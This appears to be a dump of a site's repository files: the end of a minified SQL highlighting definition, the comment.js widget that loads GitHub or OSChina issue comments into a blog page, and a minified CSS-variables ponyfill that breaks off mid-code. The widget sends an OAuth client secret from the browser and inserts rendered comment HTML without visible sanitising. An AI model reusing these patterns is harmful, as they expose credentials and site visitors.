shared_pool short show shrink shutdown si_averagecolor si_colorhistogram si_featurelist si_positionalcolor si_stillimage si_texture siblings sid sign sin size size_t sizes skip slave sleep smalldatetimefromparts smallfile snapshot some soname sort soundex source space sparse spfile split sql sql_big_result sql_buffer_result sql_cache sql_calc_found_rows sql_small_result sql_variant_property sqlcode sqldata sqlerror sqlname sqlstate sqrt square standalone standby start starting startup statement static statistics stats_binomial_test stats_crosstab stats_ks_test stats_mode stats_mw_test stats_one_way_anova stats_t_test_ stats_t_test_indep stats_t_test_one stats_t_test_paired stats_wsr_test status std stddev stddev_pop stddev_samp stdev stop storage store stored str str_to_date straight_join strcmp strict string struct stuff style subdate subpartition subpartitions substitutable substr substring subtime subtring_index subtype success sum suspend switch switchoffset switchover sync synchronous synonym sys sys_xmlagg sysasm sysaux sysdate sysdatetimeoffset sysdba sysoper system system_user sysutcdatetime table tables tablespace tan tdo template temporary terminated tertiary_weights test than then thread through tier ties time time_format time_zone timediff timefromparts timeout timestamp timestampadd timestampdiff timezone_abbr timezone_minute timezone_region to to_base64 to_date to_days to_seconds todatetimeoffset trace tracking transaction transactional translate translation treat trigger trigger_nestlevel triggers trim truncate try_cast try_convert try_parse type ub1 ub2 ub4 ucase unarchived unbounded uncompress under undo unhex unicode uniform uninstall union unique unix_timestamp unknown unlimited unlock unpivot unrecoverable unsafe unsigned until untrusted unusable unused update updated upgrade upped upper upsert url urowid usable usage use use_stored_outlines user user_data user_resources users using utc_date utc_timestamp uuid uuid_short validate validate_password_strength validation valist value values var var_samp varcharc vari varia variab variabl variable variables variance varp varraw varrawc varray verify version versions view virtual visible void wait wallet warning warnings week weekday weekofyear wellformed when whene whenev wheneve whenever where while whitespace with within without work wrapped xdb xml xmlagg xmlattributes xmlcast xmlcolattval xmlelement xmlexists xmlforest xmlindex xmlnamespaces xmlpi xmlquery xmlroot xmlschema xmlserialize xmltable xmltype xor year year_to_month years yearweek\",literal:\"true false null\",built_in:\"array bigint binary bit blob boolean char character date dec decimal float int int8 integer interval number numeric real record serial serial8 smallint text varchar varying void\"},c:[{cN:\"string\",b:\"'\",e:\"'\",c:[e.BE,{b:\"''\"}]},{cN:\"string\",b:'\"',e:'\"',c:[e.BE,{b:'\"\"'}]},{cN:\"string\",b:\"`\",e:\"`\",c:[e.BE]},e.CNM,e.CBCM,t]},e.CBCM,t]}}),e});\n\n// github issue comment\n// Copyright (C) 2017\n// Joseph Pan <http://github.com/wzpan>\n// This library is free software; you can redistribute it and/or modify\n// it under the terms of the GNU Lesser General Public License as\n// published by the Free Software Foundation; either version 2.1 of the\n// License, or (at your option) any later version.\n// \n// This library is distributed in the hope that it will be useful, but\n// WITHOUT ANY WARRANTY; without even the implied warranty of\n// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n// Lesser General Public License for more details.\n// \n// You should have received a copy of the GNU Lesser General Public\n// License along with this library; if not, write to the Free Software\n// Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA\n// 02110-1301 USA\n// \n\n'use strict';\n\nvar type, username, repo, client_id, client_secret, no_comment, go_to_comment, btn_class, comments_target, recent_comments_target, loading_target;\nvar github_addr = \"https://github.com/\";\nvar github_api_addr = \"https://api.github.com/repos/\";\nvar oschina_addr = \"http://git.oschina.net/\";\nvar oschina_api_addr = \"http://git.oschina.net/api/v5/repos/\";\nvar spinOpts = {\n    lines: 13,\n    length: 10,\n    width: 6,\n    radius: 12,\n    corners: 1,\n    rotate: 0,\n    direction: 1,\n    color: '#5882FA',\n    speed: 1,\n    trail: 60,\n    shadow: false,\n    hwaccel: false,\n    className: 'spinner',\n    zIndex: 2e9,\n    top: 'auto',\n    left: '50%'\n};\n\nvar _getComment = function _getComment(params, callback) {\n    var comments = void 0,\n        comments_url = void 0,\n        page = void 0;\n\n    // Get comments\n    comments = params.comments;\n    comments_url = params.comments_url;\n    page = params.page;\n    $.ajax({\n        url: comments_url + '?page=' + page,\n        dataType: 'json',\n        cache: false,\n        crossDomain: true,\n        data: client_id && client_secret ? \"client_id=\" + client_id + \"&client_secret=\" + client_secret : '',\n        success: function success(page_comments) {\n            if (!page_comments || page_comments.length <= 0) {\n                callback && typeof callback === \"function\" && callback(comments);\n                callback = null;\n                return;\n            }\n            page_comments.forEach(function (comment) {\n                comments.push(comment);\n            });\n            page += 1;\n            params.comments = comments;\n            params.page = page;\n            _getComment(params, callback);\n        },\n        error: function error(err) {\n            callback && typeof callback === \"function\" && callback(comments);\n            callback = null;\n        }\n    });\n};\n\nvar _getCommentsUrl = function _getCommentsUrl(params, callback) {\n    var issue_title = void 0,\n        page = void 0;\n    var found = false;\n    issue_title = params.issue_title;\n    page = params.page;\n\n    var api_addr = type == 'github' ? github_api_addr : oschina_api_addr;\n    $.ajax({\n        url: api_addr + username + '/' + repo + '/issues?page=' + page,\n        dataType: 'json',\n        cache: false,\n        crossDomain: true,\n        data: client_id && client_secret ? \"client_id=\" + client_id + \"&client_secret=\" + client_secret : '',\n        success: function success(issues) {\n            if (!issues || issues.length <= 0) {\n                callback && typeof callback === \"function\" && callback(\"\", \"\");\n                callback = null;\n                return;\n            }\n            issues.forEach(function (issue) {\n                // match title\n                if (issue.title && issue.title == issue_title) {\n                    callback && typeof callback === \"function\" && callback(issue.comments_url, issue);\n                    found = true;\n                    callback = null;\n                }\n            });\n            if (!found) {\n                page += 1;\n                params.page = page;\n                _getCommentsUrl(params, callback);\n            }\n            return;\n        },\n        error: function error() {\n            callback && typeof callback === \"function\" && callback(\"\", \"\");\n            callback = null;\n        }\n    });\n};\n\nvar _getIssue = function _getIssue(issue_id, callback) {\n    var api_addr = type == 'github' ? github_api_addr : oschina_api_addr;\n    var issue_url = api_addr + username + '/' + repo + '/issues/' + issue_id;\n    _getIssueByUrl(issue_url, function (issue) {\n        callback && typeof callback === \"function\" && callback(issue);\n        callback = null;\n    });\n};\n\nvar _getIssueByUrl = function _getIssueByUrl(issue_url, callback) {\n    $.ajax({\n        url: issue_url,\n        dataType: 'json',\n        cache: false,\n        crossDomain: true,\n        data: client_id && client_secret ? \"client_id=\" + client_id + \"&client_secret=\" + client_secret : '',\n        success: function success(issues) {\n            if (!issues || issues.length <= 0) {\n                callback && typeof callback === \"function\" && callback();\n                callback = null;\n                return;\n            }\n            var issue = issues;\n            callback && typeof callback === \"function\" && callback(issue);\n            callback = null;\n        },\n        error: function error() {\n            callback && typeof callback === \"function\" && callback();\n            callback = null;\n        }\n    });\n};\n\nvar _renderComment = function _renderComment(comment) {\n    var timeagoInstance = timeago();\n    var user = comment.user;\n    var content = marked(comment.body);\n    var ago = timeagoInstance.format(comment.created_at);\n    var current_user = user.login == username ? \"current-user\" : \"\";\n    var addr = type == 'github' ? github_addr : oschina_addr;\n    var owner = user.login == username ? \"\\n        <span class=\\\"timeline-comment-label text-bold tooltipped tooltipped-multiline tooltipped-s\\\" aria-label=\\\"\" + username + \" is the author of this blog.\\\">\\n        Owner\\n    </span>\\n        \" : '';\n    return \"\\n        <div class=\\\"timeline-comment-wrapper js-comment-container\\\">\\n        <div class=\\\"avatar-parent-child timeline-comment-avatar\\\">\\n        <a href=\\\"\" + addr + user.login + \"\\\">\\n        <img alt=\\\"@\" + user.login + \"\\\" class=\\\"avatar rounded-1\\\" height=\\\"44\\\" src=\\\"\" + user.avatar_url + \"&amp;s=88\\\" width=\\\"44\\\">\\n        </a>\\n        </div>\\n        <div id=\\\"issuecomment-310820108\\\" class=\\\"comment previewable-edit js-comment js-task-list-container  timeline-comment js-reorderable-task-lists reorderable-task-lists \" + current_user + \"\\\" data-body-version=\\\"0ff4a390ed2be378bf5044aa6dc1510b\\\">\\n\\n        <div class=\\\"timeline-comment-header\\\">\\n        \" + owner + \"\\n        <h3 class=\\\"timeline-comment-header-text f5 text-normal\\\">\\n\\n        <strong>\\n        <a href=\\\"\" + addr + user.login + \"\\\" class=\\\"author\\\">\" + user.login + \"</a>\\n        \\n    </strong>\\n\\n    commented  \\n\\n        <a href=\\\"#issuecomment-\" + comment.id + \"\\\" class=\\\"timestamp\\\"><relative-time datetime=\\\"\" + comment.created_at + \"\\\" title=\\\"\" + comment.created_at + \"\\\">\" + ago + \"</relative-time></a>\\n\\n    </h3>\\n        </div>\\n        \\n        <table class=\\\"d-block\\\">\\n        <tbody class=\\\"d-block\\\">\\n        <tr class=\\\"d-block\\\">\\n        <td class=\\\"d-block comment-body markdown-body js-comment-body\\\">\\n        \" + content + \"\\n    </td>\\n        </tr>\\n        </tbody>\\n        </table>\\n        </div>\\n        </div>\\n        \";\n};\n\nvar _renderRecentComment = function _renderRecentComment(user, title, content, time, url, callback) {\n    var addr = type == 'github' ? github_addr : oschina_addr;\n    var res = \"\\n        <div class=\\\"comment-item\\\">\\n          <div class=\\\"row comment-widget-head\\\">\\n            <div class=\\\"xl-col-3 comment-widget-avatar\\\">\\n              <a href=\\\"\" + addr + user.login + \"\\\">\\n                <img alt=\\\"@\" + user.login + \"\\\" class=\\\"avatar rounded-1\\\" height=\\\"44\\\" src=\\\"\" + user.avatar_url + \"&amp;s=88\\\" width=\\\"44\\\">\\n              </a>\\n            </div>\\n            <div class=\\\"comment-widget-body\\\">\\n              <span><a class=\\\"comment-widget-user\\\" href=\\\"\" + addr + user.login + \"\\\" target=\\\"_blank\\\">\" + user.login + \"</a> </span>\\n              <div class=\\\"comment-widget-content\\\">\" + content + \"</div>\\n            </div>\\n          </div>\\n          <br/>\\n          <div class=\\\"comment-widget-meta\\\">\\n            <span class=\\\"comment-widget-title\\\">\" + title + \"</span> | <span class=\\\"comment-widget-date\\\">\" + time + \"</span>\\n          </div>\\n        </div>\\n        \";\n    callback && typeof callback === \"function\" && callback(res);\n    callback = null;\n};\n\nvar _getRecentCommentList = function _getRecentCommentList(comment_list, i, render_count, total_count, comments, callback) {\n    if (render_count >= total_count || i >= comments.length) {\n        callback && typeof callback === \"function\" && callback(comment_list);\n        callback = null;\n        return;\n    }\n    var comment = comments[i];\n    if (!comment) return;\n    var content = marked(comment.body);\n    var title = comment.title;\n    var user = comment.user;\n    var timeagoInstance = timeago();\n    var time = timeagoInstance.format(comment.created_at);\n    var url = comment.html_url;\n    if (!content || content == '') {\n        i++;\n        _getRecentCommentList(comment_list, i, render_count, total_count, comments, callback);\n        callback = null;\n        return;\n    }\n    if (!title) {\n        // Get title of issue\n        _getIssueByUrl(comment.issue_url, function (issue) {\n            _renderRecentComment(user, issue.title, content, time, url, function (item) {\n                comment_list += item;\n                i++;\n                render_count++;\n                _getRecentCommentList(comment_list, i, render_count, total_count, comments, callback);\n            });\n        });\n    } else {\n        _renderRecentComment(user, title, content, time, url, function (item) {\n            comment_list += item;\n            i++;\n            render_count++;\n            _getRecentCommentList(comment_list, i, render_count, total_count, comments, callback);\n        });\n    }\n};\n\nvar _renderRecentCommentList = function _renderRecentCommentList(comments, count) {\n    var i = 0;\n    var render_count = 0;\n    var comment_list = '';\n    _getRecentCommentList(comment_list, i, render_count, count, comments, function (comment_list) {\n        $(recent_comments_target).append(comment_list);\n    });\n};\n\nvar _renderHTML = function _renderHTML(params) {\n    var issue = void 0,\n        comments = void 0,\n        comments_url = void 0,\n        issue_title = void 0;\n    issue = params.issue;\n    comments = params.comments;\n    comments_url = params.comments_url;\n    issue_title = params.issue_title;\n\n    var addr = type == 'github' ? github_addr : oschina_addr;\n    var api_addr = type == 'github' ? github_api_addr : oschina_api_addr;\n    var site = type == 'oschina' ? '<a href=\"http://oschina.net\" class=\"discussion-item-entity\" target=\"_blank\">OSChina issue</a>' : '<a href=\"http://github.com\" class=\"discussion-item-entity\" target=\"_blank\">Github issue</a>';\n    var footer = \"\\n        <div class=\\\"discussion-item discussion-item-labeled\\\">\\n        <h3 class=\\\"discussion-item-header f5 text-normal\\\" id=\\\"event-1157063333\\\">\\n\\n        <span class=\\\"discussion-item-icon\\\">\\n        <svg aria-hidden=\\\"true\\\" class=\\\"octicon octicon-tag\\\" height=\\\"16\\\" version=\\\"1.1\\\" viewBox=\\\"0 0 16 16\\\" width=\\\"14\\\"><path fill-rule=\\\"evenodd\\\" d=\\\"M15 1H6c-.55 0-1 .45-1 1v2H1c-.55 0-1 .45-1 1v6c0 .55.45 1 1 1h1v3l3-3h4c.55 0 1-.45 1-1V9h1l3 3V9h1c.55 0 1-.45 1-1V2c0-.55-.45-1-1-1zM9 11H4.5L3 12.5V11H1V5h4v3c0 .55.45 1 1 1h3v2zm6-3h-2v1.5L11.5 8H6V2h9v6z\\\"></path></svg>\\n        </span>\\n        The above comments are provided by \\n        <a href=\\\"http://github.com/wzpan/comment.js\\\" class=\\\"discussion-item-entity\\\" target=\\\"_blank\\\">comment.js</a> with the help of \" + site + \".\\n        </h3>\\n        </div>\\n        \";\n    if ((!issue || !issue.body || issue.body == \"\") && (!comments || comments.length <= 0)) {\n        var _res = \"\\n            <div class='js-discussion no-comment'>\\n            <span>\" + no_comment + \"</span>\\n            </div>\\n            \";\n        $(comments_target).append(_res);\n    } else {\n        var _res2 = \"\\n            <div class=\\\"discussion-timeline js-quote-selection-container\\\">\\n            <div class=\\\"js-discussion js-socket-channel\\\">\\n            \";\n        if (issue && issue.body && issue.body != '') {\n            _res2 += _renderComment(issue);\n        }\n        comments.forEach(function (comment) {\n            _res2 += _renderComment(comment);\n        });\n        _res2 += footer;\n        _res2 += '</div></div>';\n        $(comments_target).append(_res2);\n    }\n    var issue_url = void 0;\n    if (!comments_url) {\n        issue_url = addr + \"/\" + username + \"/\" + repo + \"/issues/new?title=\" + issue_title + \"#issue_body\";\n    } else {\n        issue_url = comments_url.replace(api_addr, addr).replace('comments', '') + '#new_comment_field';\n    }\n    var res = \"\\n        <p class=\\\"goto-comment\\\">\\n        <a href=\\\"\" + issue_url + \"\\\" class=\\\"\" + btn_class + \"\\\" target=\\\"_blank\\\">\" + go_to_comment + \"</a>\\n        </p>\\n        \";\n    $(comments_target).append(res);\n};\n\nvar CompareDate = function CompareDate(a, b) {\n    var d1 = a['created_at'].replace('T', ' ').replace('Z', '').replace(/-/g, \"\\/\");\n    var d2 = b['created_at'].replace('T', ' ').replace('Z', '').replace(/-/g, \"\\/\");\n    return new Date(d1) > new Date(d2);\n};\n\nvar _getRecentIssues = function _getRecentIssues(params, callback) {\n    var count = void 0;\n    count = params.count;\n\n    var api_addr = type == 'github' ? github_api_addr : oschina_api_addr;\n    $.ajax({\n        url: api_addr + username + '/' + repo + '/issues?per_page=100&sort=created&direction=desc',\n        dataType: 'json',\n        cache: false,\n        crossDomain: true,\n        data: client_id && client_secret ? \"client_id=\" + client_id + \"&client_secret=\" + client_secret : '',\n        success: function success(issues) {\n            if (issues.length > count) {\n                if (navigator.userAgent.indexOf(\"MSIE\") != -1 || navigator.userAgent.indexOf(\"Edge\") != -1 || !!document.documentMode == true) {\n                    issues = issues.sort(CompareDate).slice(0, 5);\n                } else {\n                    issues = issues.sort(CompareDate).reverse().slice(0, 5);\n                }\n            }\n            callback && typeof callback === \"function\" && callback(issues);\n            callback = null;\n        },\n        error: function error(err) {\n            callback && typeof callback === \"function\" && callback();\n            callback = null;\n        }\n    });\n};\n\nvar _getRecentComments = function _getRecentComments(params, callback) {\n    var count = void 0;\n    count = params.count;\n\n    var api_addr = type == 'github' ? github_api_addr : oschina_api_addr;\n    $.ajax({\n        url: api_addr + username + '/' + repo + '/issues/comments?per_page=100&sort=created&direction=desc',\n        dataType: 'json',\n        cache: false,\n        crossDomain: true,\n        data: client_id && client_secret ? \"client_id=\" + client_id + \"&client_secret=\" + client_secret : '',\n        success: function success(comments) {\n            if (comments.length > count) {\n                if (navigator.userAgent.indexOf(\"MSIE\") != -1 || navigator.userAgent.indexOf(\"Edge\") != -1 || !!document.documentMode == true) {\n                    comments = comments.sort(CompareDate).slice(0, 5);\n                } else {\n                    comments = comments.sort(CompareDate).reverse().slice(0, 5);\n                }\n            }\n\n            callback && typeof callback === \"function\" && callback(comments);\n            callback = null;\n        },\n        error: function error(err) {\n            callback && typeof callback === \"function\" && callback();\n            callback = null;\n        }\n    });\n};\n\nvar getRecentCommentsList = function getRecentCommentsList(params) {\n    var count = void 0,\n        user = void 0;\n    type = params.type;\n    user = params.user;\n    repo = params.repo;\n    client_id = params.client_id;\n    client_secret = params.client_secret;\n    count = params.count;\n    recent_comments_target = params.recent_comments_target;\n\n    username = user;\n    recent_comments_target = recent_comments_target ? recent_comments_target : '#recent-comments';\n    var recentList = new Array();\n    // Get recent issues and comments and filter out 10 newest comments\n    _getRecentIssues(params, function (issues) {\n        recentList = recentList.concat(issues);\n        _getRecentComments(params, function (comments) {\n            recentList = recentList.concat(comments);\n            if (navigator.userAgent.indexOf(\"MSIE\") != -1 || navigator.userAgent.indexOf(\"Edge\") != -1 || !!document.documentMode == true) {\n                recentList = recentList.sort(CompareDate);\n            } else {\n                recentList = recentList.sort(CompareDate).reverse();\n            }\n            _renderRecentCommentList(recentList, count);\n        });\n    });\n};\n\nvar getComments = function getComments(params) {\n    var issue_title = void 0,\n        issue_id = void 0,\n        user = void 0;\n    type = params.type;\n    user = params.user;\n    repo = params.repo;\n    client_id = params.client_id;\n    client_secret = params.client_secret;\n    no_comment = params.no_comment;\n    go_to_comment = params.go_to_comment;\n    issue_title = params.issue_title;\n    issue_id = params.issue_id;\n    btn_class = params.btn_class;\n    comments_target = params.comments_target;\n    loading_target = params.loading_target;\n\n    comments_target = comments_target ? comments_target : '#comment-thread';\n    username = user;\n    var spinner = new Spinner(spinOpts);\n    var timeagoInstance = timeago();\n    var comments_url;\n    var comments = new Array();\n    type = type ? type : 'github';\n    btn_class = btn_class ? btn_class : 'btn';\n\n    loading_target && spinner.spin($(\"div\" + loading_target).get(0));\n    if (!issue_id || issue_id == 'undefined' || typeof issue_id == 'undefined') {\n        _getCommentsUrl({ issue_title: issue_title,\n            page: 1 }, function (comments_url, issue) {\n            if (comments_url != '' && comments_url != undefined) {\n                _getComment({ comments: comments,\n                    comments_url: comments_url,\n                    page: 1 }, function (comments) {\n                    loading_target && spinner.spin();\n                    _renderHTML({\n                        issue: issue,\n                        comments: comments,\n                        comments_url: comments_url,\n                        issue_title: issue_title\n                    });\n                    return;\n                });\n            } else {\n                loading_target && spinner.spin();\n                _renderHTML({\n                    issue: issue,\n                    comments: comments,\n                    comments_url: comments_url,\n                    issue_title: issue_title\n                });\n                return;\n            }\n        });\n    } else {\n        var api_addr = type == 'github' ? github_api_addr : oschina_api_addr;\n        var _comments_url = api_addr + username + '/' + repo + '/issues/' + issue_id + '/comments';\n        _getIssue(issue_id, function (issue) {\n            _getComment({ comments: comments,\n                comments_url: _comments_url,\n                page: 1 }, function (comments) {\n                loading_target && spinner.spin();\n                _renderHTML({\n                    issue: issue,\n                    comments: comments,\n                    comments_url: _comments_url,\n                    issue_title: issue_title\n                });\n                loading_target && spinner.spin();\n                return;\n            });\n        });\n    }\n};\n"
  },
  {
    "path": "assets/js/css-vars-ponyfill.js",
    "content": "/*!\r\n * css-vars-ponyfill\r\n * v2.3.1\r\n * https://jhildenbiddle.github.io/css-vars-ponyfill/\r\n * (c) 2018-2020 John Hildenbiddle <http://hildenbiddle.com>\r\n * MIT license\r\n */\r\n!function(e,t){\"object\"==typeof exports&&\"undefined\"!=typeof module?module.exports=t():\"function\"==typeof define&&define.amd?define(t):(e=e||self).cssVars=t()}(this,(function(){\"use strict\";function e(){return(e=Object.assign||function(e){for(var t=1;t<arguments.length;t++){var r=arguments[t];for(var n in r)Object.prototype.hasOwnProperty.call(r,n)&&(e[n]=r[n])}return e}).apply(this,arguments)}function t(e){return function(e){if(Array.isArray(e))return r(e)}(e)||function(e){if(\"undefined\"!=typeof Symbol&&Symbol.iterator in Object(e))return Array.from(e)}(e)||function(e,t){if(!e)return;if(\"string\"==typeof e)return r(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);\"Object\"===n&&e.constructor&&(n=e.constructor.name);if(\"Map\"===n||\"Set\"===n)return Array.from(e);if(\"Arguments\"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return r(e,t)}(e)||function(){throw new TypeError(\"Invalid attempt to spread non-iterable instance.\\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.\")}()}function r(e,t){(null==t||t>e.length)&&(t=e.length);for(var r=0,n=new Array(t);r<t;r++)n[r]=e[r];return n}function n(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{},r={mimeType:t.mimeType||null,onBeforeSend:t.onBeforeSend||Function.prototype,onSuccess:t.onSuccess||Function.prototype,onError:t.onError||Function.prototype,onComplete:t.onComplete||Function.prototype},n=Array.isArray(e)?e:[e],o=Array.apply(null,Array(n.length)).map((function(e){return null}));function s(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:\"\",t=\"<\"===e.trim().charAt(0);return!t}function a(e,t){r.onError(e,n[t],t)}function c(e,t){var s=r.onSuccess(e,n[t],t);e=!1===s?\"\":s||e,o[t]=e,-1===o.indexOf(null)&&r.onComplete(o)}var i=document.createElement(\"a\");n.forEach((function(e,t){if(i.setAttribute(\"href\",e),i.href=String(i.href),Boolean(document.all&&!window.atob)&&i.host.split(\":\")[0]!==location.host.split(\":\")[0]){if(i.protocol===location.protocol){var n=new XDomainRequest;n.open(\"GET\",e),n.timeout=0,n.onprogress=Function.prototype,n.ontimeout=Function.prototype,n.onload=function(){s(n.responseText)?c(n.responseText,t):a(n,t)},n.onerror=function(e){a(n,t)},setTimeout((function(){n.send()}),0)}else console.warn(\"Internet Explorer 9 Cross-Origin (CORS) requests must use the same protocol (\".concat(e,\")\")),a(null,t)}else{var o=new XMLHttpRequest;o.open(\"GET\",e),r.mimeType&&o.overrideMimeType&&o.overrideMimeType(r.mimeType),r.onBeforeSend(o,e,t),o.onreadystatechange=function(){4===o.readyState&&(200===o.status&&s(o.responseText)?c(o.responseText,t):a(o,t))},o.send()}}))}function o(e){var t=/\\/\\*[\\s\\S]+?\\*\\//g,r=/(?:@import\\s*)(?:url\\(\\s*)?(?:['\"])([^'\"]*)(?:['\"])(?:\\s*\\))?(?:[^;]*;)/g,o={rootElement:e.rootElement||document,include:e.include||'style,link[rel=\"stylesheet\"]',exclude:e.exclude||null,filter:e.filter||null,skipDisabled:!1!==e.skipDisabled,useCSSOM:e.useCSSOM||!1,onBeforeSend:e.onBeforeSend||Function.prototype,onSuccess:e.onSuccess||Function.prototype,onError:e.onError||Function.prototype,onComplete:e.onComplete||Function.prototype},a=Array.apply(null,o.rootElement.querySelectorAll(o.include)).filter((function(e){return t=e,r=o.exclude,!(t.matches||t.matchesSelector||t.webkitMatchesSelector||t.mozMatchesSelector||t.msMatchesSelector||t.oMatchesSelector).call(t,r);var t,r})),c=Array.apply(null,Array(a.length)).map((function(e){return null}));function i(){if(-1===c.indexOf(null)){var e=c.join(\"\");o.onComplete(e,c,a)}}function u(e,t,r,s){var a=o.onSuccess(e,r,s);(function e(t,r,s,a){var c=arguments.length>4&&void 0!==arguments[4]?arguments[4]:[],i=arguments.length>5&&void 0!==arguments[5]?arguments[5]:[],u=l(t,s,i);u.rules.length?n(u.absoluteUrls,{onBeforeSend:function(e,t,n){o.onBeforeSend(e,r,t)},onSuccess:function(e,t,n){var s=o.onSuccess(e,r,t),a=l(e=!1===s?\"\":s||e,t,i);return a.rules.forEach((function(t,r){e=e.replace(t,a.absoluteRules[r])})),e},onError:function(n,o,l){c.push({xhr:n,url:o}),i.push(u.rules[l]),e(t,r,s,a,c,i)},onComplete:function(n){n.forEach((function(e,r){t=t.replace(u.rules[r],e)})),e(t,r,s,a,c,i)}}):a(t,c)})(e=void 0!==a&&!1===Boolean(a)?\"\":a||e,r,s,(function(e,n){null===c[t]&&(n.forEach((function(e){return o.onError(e.xhr,r,e.url)})),!o.filter||o.filter.test(e)?c[t]=e:c[t]=\"\",i())}))}function l(e,n){var o=arguments.length>2&&void 0!==arguments[2]?arguments[2]:[],a={};return a.rules=(e.replace(t,\"\").match(r)||[]).filter((function(e){return-1===o.indexOf(e)})),a.urls=a.rules.map((function(e){return e.replace(r,\"$1\")})),a.absoluteUrls=a.urls.map((function(e){return s(e,n)})),a.absoluteRules=a.rules.map((function(e,t){var r=a.urls[t],o=s(a.absoluteUrls[t],n);return e.replace(r,o)})),a}a.length?a.forEach((function(e,t){var r=e.getAttribute(\"href\"),a=e.getAttribute(\"rel\"),l=\"LINK\"===e.nodeName&&r&&a&&-1!==a.toLowerCase().indexOf(\"stylesheet\"),f=!1!==o.skipDisabled&&e.disabled,d=\"STYLE\"===e.nodeName;if(l&&!f)n(r,{mimeType:\"text/css\",onBeforeSend:function(t,r,n){o.onBeforeSend(t,e,r)},onSuccess:function(n,o,a){var c=s(r);u(n,t,e,c)},onError:function(r,n,s){c[t]=\"\",o.onError(r,e,n),i()}});else if(d&&!f){var p=e.textContent;o.useCSSOM&&(p=Array.apply(null,e.sheet.cssRules).map((function(e){return e.cssText})).join(\"\")),u(p,t,e,location.href)}else c[t]=\"\",i()})):o.onComplete(\"\",[])}function s(e,t){var r=document.implementation.createHTMLDocument(\"\"),n=r.createElement(\"base\"),o=r.createElement(\"a\");return r.head.appendChild(n),r.body.appendChild(o),n.href=t||document.baseURI||(document.querySelector(\"base\")||{}).href||location.href,o.href=e,o.href}var a=c;function c(e,t,r){e instanceof RegExp&&(e=i(e,r)),t instanceof RegExp&&(t=i(t,r));var n=u(e,t,r);return n&&{start:n[0],end:n[1],pre:r.slice(0,n[0]),body:r.slice(n[0]+e.length,n[1]),post:r.slice(n[1]+t.length)}}function i(e,t){var r=t.match(e);return r?r[0]:null}function u(e,t,r){var n,o,s,a,c,i=r.indexOf(e),u=r.indexOf(t,i+1),l=i;if(i>=0&&u>0){for(n=[],s=r.length;l>=0&&!c;)l==i?(n.push(l),i=r.indexOf(e,l+1)):1==n.length?c=[n.pop(),u]:((o=n.pop())<s&&(s=o,a=u),u=r.indexOf(t,l+1)),l=i<u&&i>=0?i:u;n.length&&(c=[s,a])}return c}function l(t){var r=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{},n={preserveStatic:!0,removeComments:!1},o=e({},n,r),s=[];function c(e){throw new Error(\"CSS parse error: \".concat(e))}function i(e){var r=e.exec(t);if(r)return t=t.slice(r[0].length),r}function u(){return i(/^{\\s*/)}function l(){return i(/^}/)}function f(){i(/^\\s*/)}function d(){if(f(),\"/\"===t[0]&&\"*\"===t[1]){for(var e=2;t[e]&&(\"*\"!==t[e]||\"/\"!==t[e+1]);)e++;if(!t[e])return c(\"end of comment is missing\");var r=t.slice(2,e);return t=t.slice(e+2),{type:\"comment\",comment:r}}}function p(){for(var e,t=[];e=d();)t.push(e);return o.removeComments?[]:t}function m(){for(f();\"}\"===t[0];)c(\"extra closing bracket\");var e=i(/^((\"(?:\\\\\"|[^\"])*\"|'(?:\\\\'|[^'])*'|[^{])+)/);if(e)return e[0].trim().replace(/\\/\\*([^*]|[\\r\\n]|(\\*+([^*/]|[\\r\\n])))*\\*\\/+/g,\"\").replace(/\"(?:\\\\\"|[^\"])*\"|'(?:\\\\'|[^'])*'/g,(function(e){return e.replace(/,/g,\"‌\")})).split(/\\s*(?![^(]*\\)),\\s*/).map((function(e){return e.replace(/\\u200C/g,\",\")}))}function v(){if(\"@\"===t[0])return k();i(/^([;\\s]*)+/);var e=/\\/\\*[^*]*\\*+([^/*][^*]*\\*+)*\\//g,r=i(/^(\\*?[-#/*\\\\\\w]+(\\[[0-9a-z_-]+\\])?)\\s*/);if(r){if(r=r[0].trim(),!i(/^:\\s*/))return c(\"property missing ':'\");var n=i(/^((?:\\/\\*.*?\\*\\/|'(?:\\\\'|.)*?'|\"(?:\\\\\"|.)*?\"|\\((\\s*'(?:\\\\'|.)*?'|\"(?:\\\\\"|.)*?\"|[^)]*?)\\s*\\)|[^};])+)/),o={type:\"declaration\",property:r.replace(e,\"\"),value:n?n[0].replace(e,\"\").trim():\"\"};return i(/^[;\\s]*/),o}}function h(){if(!u())return c(\"missing '{'\");for(var e,t=p();e=v();)t.push(e),t=t.concat(p());return l()?t:c(\"missing '}'\")}function y(){f();for(var e,t=[];e=i(/^((\\d+\\.\\d+|\\.\\d+|\\d+)%?|[a-z]+)\\s*/);)t.push(e[1]),i(/^,\\s*/);if(t.length)return{type:\"keyframe\",values:t,declarations:h()}}function g(){var e=i(/^@([-\\w]+)?keyframes\\s*/);if(e){var t=e[1];if(!(e=i(/^([-\\w]+)\\s*/)))return c(\"@keyframes missing name\");var r,n=e[1];if(!u())return c(\"@keyframes missing '{'\");for(var o=p();r=y();)o.push(r),o=o.concat(p());return l()?{type:\"keyframes\",name:n,vendor:t,keyframes:o}:c(\"@keyframes missing '}'\")}}function b(){if(i(/^@page */))return{type:\"page\",selectors:m()||[],declarations:h()}}function S(){var e=i(/@(top|bottom|left|right)-(left|center|right|top|middle|bottom)-?(corner)?\\s*/);if(e)return{type:\"page-margin-box\",name:\"\".concat(e[1],\"-\").concat(e[2])+(e[3]?\"-\".concat(e[3]):\"\"),declarations:h()}}function E(){if(i(/^@font-face\\s*/))return{type:\"font-face\",declarations:h()}}function w(){var e=i(/^@supports *([^{]+)/);if(e)return{type:\"supports\",supports:e[1].trim(),rules:M()}}function A(){if(i(/^@host\\s*/))return{type:\"host\",rules:M()}}function C(){var e=i(/^@media([^{]+)*/);if(e)return{type:\"media\",media:(e[1]||\"\").trim(),rules:M()}}function O(){var e=i(/^@custom-media\\s+(--[^\\s]+)\\s*([^{;]+);/);if(e)return{type:\"custom-media\",name:e[1].trim(),media:e[2].trim()}}function x(){var e=i(/^@([-\\w]+)?document *([^{]+)/);if(e)return{type:\"document\",document:e[2].trim(),vendor:e[1]?e[1].trim():null,rules:M()}}function j(){var 